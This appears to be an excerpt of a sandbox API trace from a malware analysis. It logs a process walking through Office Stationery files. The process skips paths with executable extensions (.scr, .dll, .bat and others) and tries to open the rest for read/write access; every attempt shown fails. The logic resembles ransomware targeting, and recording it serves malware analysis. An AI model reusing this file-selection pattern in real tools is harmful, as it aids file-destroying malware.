	[0082.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2710 | out: hHeap=0x300000) returned 1
	[0082.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7f78
	[0082.649] lstrlenW (lpString=".scr") returned 4
	[0082.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpSrch=".scr") returned 0x0
	[0082.649] lstrlenW (lpString=".cmd") returned 4
	[0082.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpSrch=".cmd") returned 0x0
	[0082.649] lstrlenW (lpString=".dll") returned 4
	[0082.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpSrch=".dll") returned 0x0
	[0082.650] lstrlenW (lpString=".bat") returned 4
	[0082.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpSrch=".bat") returned 0x0
	[0082.650] lstrlenW (lpString=".cpl") returned 4
	[0082.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpSrch=".cpl") returned 0x0
	[0082.650] lstrlenW (lpString=".sys") returned 4
	[0082.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpSrch=".sys") returned 0x0
	[0082.650] lstrlenW (lpString=".msc") returned 4
	[0082.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpSrch=".msc") returned 0x0
	[0082.650] lstrlenW (lpString=".com") returned 4
	[0082.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpSrch=".com") returned 0x0
	[0082.650] lstrlenW (lpString=".lnk") returned 4
	[0082.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpSrch=".lnk") returned 0x0
	[0082.650] lstrlenW (lpString=".msp") returned 4
	[0082.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpSrch=".msp") returned 0x0
	[0082.650] lstrlenW (lpString=".pif") returned 4
	[0082.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpSrch=".pif") returned 0x0
	[0082.650] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpSrch="msp\r\n.pif") returned 0x0
	[0082.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7f78 | out: hHeap=0x300000) returned 1
	[0082.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.650] RtlWakeConditionVariable () returned 0x365f70
	[0082.650] GetCurrentThreadId () returned 0x9cc
	[0082.651] GetCurrentThreadId () returned 0x9cc
	[0082.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7e28 | out: hHeap=0x300000) returned 1
	[0082.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2748 | out: hHeap=0x300000) returned 1
	[0082.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7e28
	[0082.651] lstrlenW (lpString=".scr") returned 4
	[0082.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpSrch=".scr") returned 0x0
	[0082.651] lstrlenW (lpString=".cmd") returned 4
	[0082.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpSrch=".cmd") returned 0x0
	[0082.651] lstrlenW (lpString=".dll") returned 4
	[0082.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpSrch=".dll") returned 0x0
	[0082.651] lstrlenW (lpString=".bat") returned 4
	[0082.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpSrch=".bat") returned 0x0
	[0082.651] lstrlenW (lpString=".cpl") returned 4
	[0082.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpSrch=".cpl") returned 0x0
	[0082.651] lstrlenW (lpString=".sys") returned 4
	[0082.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpSrch=".sys") returned 0x0
	[0082.652] lstrlenW (lpString=".msc") returned 4
	[0082.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpSrch=".msc") returned 0x0
	[0082.652] lstrlenW (lpString=".com") returned 4
	[0082.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpSrch=".com") returned 0x0
	[0082.652] lstrlenW (lpString=".lnk") returned 4
	[0082.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpSrch=".lnk") returned 0x0
	[0082.652] lstrlenW (lpString=".msp") returned 4
	[0082.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpSrch=".msp") returned 0x0
	[0082.652] lstrlenW (lpString=".pif") returned 4
	[0082.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpSrch=".pif") returned 0x0
	[0082.652] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpSrch="msp\r\n.pif") returned 0x0
	[0082.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7e28 | out: hHeap=0x300000) returned 1
	[0082.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.652] RtlWakeConditionVariable () returned 0x365f70
	[0082.652] GetCurrentThreadId () returned 0x9cc
	[0082.652] GetCurrentThreadId () returned 0x9cc
	[0082.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7a38 | out: hHeap=0x300000) returned 1
	[0082.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2780 | out: hHeap=0x300000) returned 1
	[0082.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7a38
	[0082.653] lstrlenW (lpString=".scr") returned 4
	[0082.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpSrch=".scr") returned 0x0
	[0082.653] lstrlenW (lpString=".cmd") returned 4
	[0082.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpSrch=".cmd") returned 0x0
	[0082.653] lstrlenW (lpString=".dll") returned 4
	[0082.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpSrch=".dll") returned 0x0
	[0082.653] lstrlenW (lpString=".bat") returned 4
	[0082.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpSrch=".bat") returned 0x0
	[0082.653] lstrlenW (lpString=".cpl") returned 4
	[0082.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpSrch=".cpl") returned 0x0
	[0082.653] lstrlenW (lpString=".sys") returned 4
	[0082.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpSrch=".sys") returned 0x0
	[0082.653] lstrlenW (lpString=".msc") returned 4
	[0082.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpSrch=".msc") returned 0x0
	[0082.653] lstrlenW (lpString=".com") returned 4
	[0082.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpSrch=".com") returned 0x0
	[0082.653] lstrlenW (lpString=".lnk") returned 4
	[0082.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpSrch=".lnk") returned 0x0
	[0082.653] lstrlenW (lpString=".msp") returned 4
	[0082.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpSrch=".msp") returned 0x0
	[0082.653] lstrlenW (lpString=".pif") returned 4
	[0082.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpSrch=".pif") returned 0x0
	[0082.653] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpSrch="msp\r\n.pif") returned 0x0
	[0082.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7a38 | out: hHeap=0x300000) returned 1
	[0082.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.654] RtlWakeConditionVariable () returned 0x365f70
	[0082.655] GetCurrentThreadId () returned 0x9cc
	[0082.655] GetCurrentThreadId () returned 0x9cc
	[0082.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7300 | out: hHeap=0x300000) returned 1
	[0082.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b27b8 | out: hHeap=0x300000) returned 1
	[0082.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7300
	[0082.655] lstrlenW (lpString=".scr") returned 4
	[0082.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpSrch=".scr") returned 0x0
	[0082.655] lstrlenW (lpString=".cmd") returned 4
	[0082.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpSrch=".cmd") returned 0x0
	[0082.655] lstrlenW (lpString=".dll") returned 4
	[0082.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpSrch=".dll") returned 0x0
	[0082.655] lstrlenW (lpString=".bat") returned 4
	[0082.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpSrch=".bat") returned 0x0
	[0082.655] lstrlenW (lpString=".cpl") returned 4
	[0082.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpSrch=".cpl") returned 0x0
	[0082.655] lstrlenW (lpString=".sys") returned 4
	[0082.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpSrch=".sys") returned 0x0
	[0082.655] lstrlenW (lpString=".msc") returned 4
	[0082.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpSrch=".msc") returned 0x0
	[0082.655] lstrlenW (lpString=".com") returned 4
	[0082.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpSrch=".com") returned 0x0
	[0082.655] lstrlenW (lpString=".lnk") returned 4
	[0082.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpSrch=".lnk") returned 0x0
	[0082.656] lstrlenW (lpString=".msp") returned 4
	[0082.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpSrch=".msp") returned 0x0
	[0082.656] lstrlenW (lpString=".pif") returned 4
	[0082.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpSrch=".pif") returned 0x0
	[0082.656] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7300 | out: hHeap=0x300000) returned 1
	[0082.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.656] RtlWakeConditionVariable () returned 0x365f70
	[0082.656] GetCurrentThreadId () returned 0x9cc
	[0082.656] GetCurrentThreadId () returned 0x9cc
	[0082.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc080
	[0082.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc7a0 | out: hHeap=0x300000) returned 1
	[0082.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b27f0 | out: hHeap=0x300000) returned 1
	[0082.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc7a0
	[0082.656] lstrlenW (lpString=".scr") returned 4
	[0082.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", lpSrch=".scr") returned 0x0
	[0082.656] lstrlenW (lpString=".cmd") returned 4
	[0082.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", lpSrch=".cmd") returned 0x0
	[0082.657] lstrlenW (lpString=".dll") returned 4
	[0082.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", lpSrch=".dll") returned 0x0
	[0082.657] lstrlenW (lpString=".bat") returned 4
	[0082.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", lpSrch=".bat") returned 0x0
	[0082.657] lstrlenW (lpString=".cpl") returned 4
	[0082.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", lpSrch=".cpl") returned 0x0
	[0082.657] lstrlenW (lpString=".sys") returned 4
	[0082.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", lpSrch=".sys") returned 0x0
	[0082.657] lstrlenW (lpString=".msc") returned 4
	[0082.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", lpSrch=".msc") returned 0x0
	[0082.657] lstrlenW (lpString=".com") returned 4
	[0082.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", lpSrch=".com") returned 0x0
	[0082.657] lstrlenW (lpString=".lnk") returned 4
	[0082.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", lpSrch=".lnk") returned 0x0
	[0082.657] lstrlenW (lpString=".msp") returned 4
	[0082.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", lpSrch=".msp") returned 0x0
	[0082.657] lstrlenW (lpString=".pif") returned 4
	[0082.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", lpSrch=".pif") returned 0x0
	[0082.657] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf", lpSrch="msp\r\n.pif") returned 0x0
	[0082.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc7a0 | out: hHeap=0x300000) returned 1
	[0082.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc080 | out: hHeap=0x300000) returned 1
	[0082.658] RtlWakeConditionVariable () returned 0x365f70
	[0082.658] GetCurrentThreadId () returned 0x9cc
	[0082.658] GetCurrentThreadId () returned 0x9cc
	[0082.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc080
	[0082.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc838 | out: hHeap=0x300000) returned 1
	[0082.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2828 | out: hHeap=0x300000) returned 1
	[0082.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc838
	[0082.659] lstrlenW (lpString=".scr") returned 4
	[0082.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpSrch=".scr") returned 0x0
	[0082.659] lstrlenW (lpString=".cmd") returned 4
	[0082.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpSrch=".cmd") returned 0x0
	[0082.659] lstrlenW (lpString=".dll") returned 4
	[0082.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpSrch=".dll") returned 0x0
	[0082.659] lstrlenW (lpString=".bat") returned 4
	[0082.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpSrch=".bat") returned 0x0
	[0082.659] lstrlenW (lpString=".cpl") returned 4
	[0082.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpSrch=".cpl") returned 0x0
	[0082.659] lstrlenW (lpString=".sys") returned 4
	[0082.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpSrch=".sys") returned 0x0
	[0082.659] lstrlenW (lpString=".msc") returned 4
	[0082.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpSrch=".msc") returned 0x0
	[0082.659] lstrlenW (lpString=".com") returned 4
	[0082.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpSrch=".com") returned 0x0
	[0082.659] lstrlenW (lpString=".lnk") returned 4
	[0082.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpSrch=".lnk") returned 0x0
	[0082.659] lstrlenW (lpString=".msp") returned 4
	[0082.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpSrch=".msp") returned 0x0
	[0082.659] lstrlenW (lpString=".pif") returned 4
	[0082.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpSrch=".pif") returned 0x0
	[0082.659] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc838 | out: hHeap=0x300000) returned 1
	[0082.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc080 | out: hHeap=0x300000) returned 1
	[0082.660] RtlWakeConditionVariable () returned 0x365f70
	[0082.660] GetCurrentThreadId () returned 0x9cc
	[0082.660] GetCurrentThreadId () returned 0x9cc
	[0082.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0082.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4ea8 | out: hHeap=0x300000) returned 1
	[0082.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2860 | out: hHeap=0x300000) returned 1
	[0082.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4ea8
	[0082.661] lstrlenW (lpString=".scr") returned 4
	[0082.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", lpSrch=".scr") returned 0x0
	[0082.661] lstrlenW (lpString=".cmd") returned 4
	[0082.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", lpSrch=".cmd") returned 0x0
	[0082.661] lstrlenW (lpString=".dll") returned 4
	[0082.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", lpSrch=".dll") returned 0x0
	[0082.661] lstrlenW (lpString=".bat") returned 4
	[0082.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", lpSrch=".bat") returned 0x0
	[0082.661] lstrlenW (lpString=".cpl") returned 4
	[0082.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", lpSrch=".cpl") returned 0x0
	[0082.661] lstrlenW (lpString=".sys") returned 4
	[0082.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", lpSrch=".sys") returned 0x0
	[0082.661] lstrlenW (lpString=".msc") returned 4
	[0082.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", lpSrch=".msc") returned 0x0
	[0082.661] lstrlenW (lpString=".com") returned 4
	[0082.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", lpSrch=".com") returned 0x0
	[0082.661] lstrlenW (lpString=".lnk") returned 4
	[0082.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", lpSrch=".lnk") returned 0x0
	[0082.661] lstrlenW (lpString=".msp") returned 4
	[0082.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", lpSrch=".msp") returned 0x0
	[0082.661] lstrlenW (lpString=".pif") returned 4
	[0082.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", lpSrch=".pif") returned 0x0
	[0082.661] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", lpSrch="msp\r\n.pif") returned 0x0
	[0082.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4ea8 | out: hHeap=0x300000) returned 1
	[0082.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6470 | out: hHeap=0x300000) returned 1
	[0082.662] RtlWakeConditionVariable () returned 0x365f70
	[0082.662] GetCurrentThreadId () returned 0x9cc
	[0082.662] GetCurrentThreadId () returned 0x9cc
	[0082.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc080
	[0082.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc8d0 | out: hHeap=0x300000) returned 1
	[0082.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2898 | out: hHeap=0x300000) returned 1
	[0082.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc8d0
	[0082.662] lstrlenW (lpString=".scr") returned 4
	[0082.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", lpSrch=".scr") returned 0x0
	[0082.662] lstrlenW (lpString=".cmd") returned 4
	[0082.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", lpSrch=".cmd") returned 0x0
	[0082.662] lstrlenW (lpString=".dll") returned 4
	[0082.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", lpSrch=".dll") returned 0x0
	[0082.662] lstrlenW (lpString=".bat") returned 4
	[0082.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", lpSrch=".bat") returned 0x0
	[0082.662] lstrlenW (lpString=".cpl") returned 4
	[0082.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", lpSrch=".cpl") returned 0x0
	[0082.662] lstrlenW (lpString=".sys") returned 4
	[0082.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", lpSrch=".sys") returned 0x0
	[0082.663] lstrlenW (lpString=".msc") returned 4
